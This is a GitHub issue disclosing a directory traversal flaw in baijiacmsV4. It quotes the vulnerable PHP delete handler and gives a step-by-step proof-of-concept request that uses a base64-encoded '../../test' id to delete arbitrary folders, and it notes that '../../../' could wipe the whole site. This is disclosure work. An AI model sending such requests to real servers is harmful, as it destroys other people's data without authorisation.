Skip to content
This repository has been archived by the owner on Jul 21, 2022. It is now read-only.

baijiacmsV4 directory traversal vulnerability #6

Open
Ke7b3r0s opened this issue Sep 19, 2020 · 0 comments
Open

baijiacmsV4 directory traversal vulnerability #6

Ke7b3r0s opened this issue Sep 19, 2020 · 0 comments

Comments

@Ke7b3r0s
Copy link

Directory traversal vulnerability in baijiacmsV4 allows remote authenticated attackers to delete arbitrary folders on the server via unspecified vectors.

Vulnerable code is in system/manager/class/web/database.php

if($operation=='delete')
 {
 		$d = base64_decode($_GP['id']);

 			$path = WEB_ROOT . '/config/data_backup/';
		if(is_dir($path . $d)) {
			rmdirs($path . $d);
			message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
		}
}

The origin request is http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=manager&do=database&op=delete&id=MTYwMDQ5ODY5OV9RejQzQmhaOQ%3D%3D&beid=1,which is used to delete database backuped folder.We can change the parameter "id" to delete any folders.

For example:

  1. Create a folder named test
    image
  2. Base64encode "../../test"
    image
  3. Change the parameter id to "Li4vLi4vdGVzdA%3d%3d" and request this url "http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA%3d%3d&beid=1"
    image
  4. Now the test folder is deleted.
    image
  5. An authenticated attacker can destroy the whole website just use the parameter "../../../" after base64encode.
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant